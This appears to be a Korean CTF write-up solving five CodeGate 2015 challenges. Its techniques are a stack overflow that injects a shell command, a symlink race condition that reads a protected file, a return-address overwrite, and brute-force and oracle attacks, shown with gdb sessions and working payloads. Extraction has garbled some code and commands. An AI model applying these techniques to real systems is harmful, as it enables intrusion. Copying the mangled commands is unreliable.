2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다
argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시 strlen에전달되는주소를조작할수있습니다 systemshock@ip-172-31-3-97:~$ gdb -q./shock Reading symbols from /home/systemshock/shock...(no debugging symbols found)...done. (gdb) disp/10i $pc (gdb) b *0x4008ba Breakpoint 1 at 0x4008ba (gdb) r aaaa Starting program: /home/systemshock/shock aaaa Breakpoint 1, 0x00000000004008ba in?? () 1: x/10i $pc => 0x4008ba: mov (%rax),%rax 0x4008bd: mov %rax,%rdi 0x4008c0: callq 0x4005e0 <strlen@plt> 0x4008c5: add $0x3,%rax 0x4008c9: cmp %rax,%rbx 0x4008cc: jb 0x400855 0x4008ce: lea -0x120(%rbp),%rax 0x4008d5: mov %rax,%rdi 0x4008d8: callq 0x400600 <system@plt> 0x4008dd: jmp 0x4008df (gdb) i reg rax rax 0x7fffe0980900 140736961448192 (gdb) x/gx $rax 0x7fffe0980900: 0x00007fffe0982951 (gdb) x/s 0x7fffe0982951 0x7fffe0982951: "aaaa" (gdb) x/s $rbp-0x120
0x7fffe09806f0: "id aaaa" (gdb) p 0x7fffe0980900-0x7fffe09806f0 $1 = 528 (gdb) 굵게표시한두개의주소는각각 &argv[1](0x7fffe0980900), &cmd(0x7fffe09806f0) 입니다이두개사이의거리가 528바이트만큼차이나고입력값은 id 이후에들어가기때문에총 525바이트를입력하면 argv[1] 의주소를조작할수있습니다 systemshock@ip-172-31-3-97:~$ gdb -q./shock Reading symbols from /home/systemshock/shock...(no debugging symbols found)...done. (gdb) disp/10i $pc (gdb) b *0x4008ba Breakpoint 1 at 0x4008ba (gdb) r $(perl -e 'print "A"x525, "BBBBBBBB"') Starting program: /home/systemshock/shock $(perl -e 'print "A"x525, "BBBBBBBB"') Breakpoint 1, 0x00000000004008ba in?? () 1: x/10i $pc => 0x4008ba: mov (%rax),%rax 0x4008bd: mov %rax,%rdi 0x4008c0: callq 0x4005e0 <strlen@plt> 0x4008c5: add $0x3,%rax 0x4008c9: cmp %rax,%rbx 0x4008cc: jb 0x400855 0x4008ce: lea -0x120(%rbp),%rax
0x4008d5: mov %rax,%rdi 0x4008d8: callq 0x400600 <system@plt> 0x4008dd: jmp 0x4008df (gdb) i reg rax rax 0x7fffae6df760 140736119830368 (gdb) x/gx $rax 0x7fffae6df760: 0x4242424242424242 (gdb) ni 0x00000000004008bd in?? () 1: x/10i $pc => 0x4008bd: mov %rax,%rdi 0x4008c0: callq 0x4005e0 <strlen@plt> 0x4008c5: add $0x3,%rax 0x4008c9: cmp %rax,%rbx 0x4008cc: jb 0x400855 0x4008ce: lea -0x120(%rbp),%rax 0x4008d5: mov %rax,%rdi 0x4008d8: callq 0x400600 <system@plt> 0x4008dd: jmp 0x4008df 0x4008df: mov -0x18(%rbp),%rdx (gdb) ni 0x00000000004008c0 in?? () 1: x/10i $pc => 0x4008c0: callq 0x4005e0 <strlen@plt> 0x4008c5: add $0x3,%rax 0x4008c9: cmp %rax,%rbx 0x4008cc: jb 0x400855 0x4008ce: lea -0x120(%rbp),%rax 0x4008d5: mov %rax,%rdi 0x4008d8: callq 0x400600 <system@plt> 0x4008dd: jmp 0x4008df 0x4008df: mov -0x18(%rbp),%rdx
0x4008e3: xor %fs:0x28,%rdx (gdb) i reg rdi rdi 0x4242424242424242 4774451407313060418 (gdb) strlen의인자로 0x4242424242424242가들어가게됩니다그런데 64비트환경에 ASLR까지걸려있기때문에 strlen에넣어줄대체문자를찾기는힘들고원래 rdi에들어가는값이 argv[1] 인데그아래쪽으로환경변수들이있었고환경변수들이 memset에의해다 0으로초기화됐으니적당한숫자를하나잡아서최하위바이트나최하위바이트와그바로상위바이트만변조하면원래환경변수가있던곳을가르키게돼 을가르키게할수있습니다 systemshock@ip-172-31-3-97:~$./shock "$(perl -e 'print "A"x500, ";sh;", "A"x21, "\xff"')" id: AAAAA: No such user $ cat flag B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t $
2. guesspw 이문제는직접바이너리를분석하기힘들게해놨기때문에 strace, ltrace 와직관으로풀이하였습니다 user@cg2015-1:~$ mkdir /tmp/cd80_writeup;cd /tmp/cd80_writeup user@cg2015-1:/tmp/cd80_writeup$ ln -s /home/guesspw/guesspw user@cg2015-1:/tmp/cd80_writeup$ ltrace -if./guesspw asdf [pid 16497] [0x8048541] libc_start_main(0x8048620, 2, 0xff859b94, 0x80495d0 <unfinished...> [pid 16497] [0x8048dbc] memset(0xff858870, '\0', 128) = 0xff858870 [pid 16497] [0x8048ddd] memset(0xff8587f0, '\0', 128) = 0xff8587f0 [pid 16497] [0x8048e00] realpath(0xff85a8c5, 0xff858910, 128, 0) = 0 [pid 16497] [0x8048e21] strstr("/tmp/cd80_writeup/asdf", "password") = nil [pid 16497] [0x8049038] strstr("/tmp/cd80_writeup/asdf", "flag") = nil [pid 16497] [0x8049096] open("/home/guesspw/password", 0, 0200) = -1 [pid 16497] [0x80490bf] open("/tmp/cd80_writeup/asdf", 0, 0200) = -1 [pid 16497] [0x8049258] exit(1 <no return...> [pid 16497] [0xffffffffffffffff] +++ exited (status 1) +++ user@cg2015-1:/tmp/cd80_writeup$ 입력값을 realpath함수를이용해실제경로를알아내고 password와 flag라는글자가없으면두개를 open합니다
그후 /home/guesspw/password와유저가인풋으로넣은파일을읽어서비교한뒤맞으면 /bin/sh를실행시키는 flag를세팅하고아니면다른작업을합니다 보통이런식의문제를풀땐심볼릭링크를걸어필터링하는파일명을우회할수있는데이프로그램에선 realpath함수를사용하기때문에원래프로그램의경로명을 resolve한뒤 password와 flag문자열이있는지체크합니다문자열체크이후에파일을오픈하기때문에문자열체크와파일오픈사이에짧은시간차가존재하고이를이용해레이스컨디션공격을할수있습니다
Terminal 1 user@cg2015-1:/tmp/cd80_writeup$ while [ 1 ] ; do touch cd80zzzz; rm cd80zzzz; ln -s /home/guesspw/password /tmp/cd80_writeup/cd80zzzz; rm cd80zzzz; done Terminal 2 user@cg2015-1:/tmp/cd80_writeup$ while [ 1 ] ; do /home/guesspw/guesspw cd80zzzz; done user@\h:\w$ cat /home/guesspw/flag cheapestflagever user@\h:\w$ 시간차가매우작기때문에조금오래돌려야하고 서버가버벅거리면공격이힘들어재부팅된직후에공격에성공하였습니다
3. cheip junior_guest@ip-172-31-0-234:/home/cheip$ cat cheip.c #include <stdio.h> #include <stdlib.h> void backdoor() { } execl("/bin/cat", "/bin/cat", "/home/cheip/flag", 0); void bof(char *str) { char buf[256]; strcpy(buf, str); } int main(int argc, char *argv[]) { char cmp[]="can_you_do_bof"; if(argc!= 2) { exit(0); } if(strncmp(argv[1], cmp, strlen(cmp))!=0) { exit(0); } bof(argv[1]); } junior_guest@ip-172-31-0-234:/home/cheip$ objdump -d./cheip grep backdoor 080484a4 <backdoor>: junior_guest@ip-172-31-0-234:/home/cheip$./cheip can_you_do_bof$(perl - e 'print "A"x2, "\xa4\x84\x04\x08"x200') aoxl xvonsd ew we fnvo 0z9d z0ds-d8d8 0d0 junior_guest@ip-172-31-0-234:/home/cheip$
4. urandom strlen(urandom에서읽어온값 ) 이기때무넹 argv[1] 에아무거나한글자넣어주면언젠가 urandom에서읽어온 10바이트의첫번째두번째글자가넣어준글자 + \x00이되게됩니다 junior_guest@ip-172-31-0-234:/home/urandom$ mkdir /tmp/cd80_urandom_writeup junior_guest@ip-172-31-0-234:/home/urandom$ cd /tmp/cd80_urandom_writeup junior_guest@ip-172-31-0-234:/tmp/cd80_urandom_writeup$ while [ 1 ] ; do /home/urandom/urandom a >>./result ; done ^C junior_guest@ip-172-31-0-234:/tmp/cd80_urandom_writeup$ cat result grep Congrats Congrats, The key is 'ch!!!zzola' junior_guest@ip-172-31-0-234:/tmp/cd80_urandom_writeup$
5. return 분석해보면 memcmp(user_input, flag, strlen(flag)) 의리턴값을그대로 main함수에서도리턴합니다쉘에서리턴값을확인하려면프로그램실행후 echo $? 를해보면되고 memcmp는한바이트씩비교하다가왼쪽이나오른쪽의대소를판단해 1, 0, -1을리턴하고만약 a를넣었을때 1을리턴하면 f l q t 식으로조금더큰값을갖는문자들을 0이리턴될때까지집어넣으면됩니다마지막문자는뭘넣든 -1이리턴되는데그부분은널바이트라고생각할수있습니다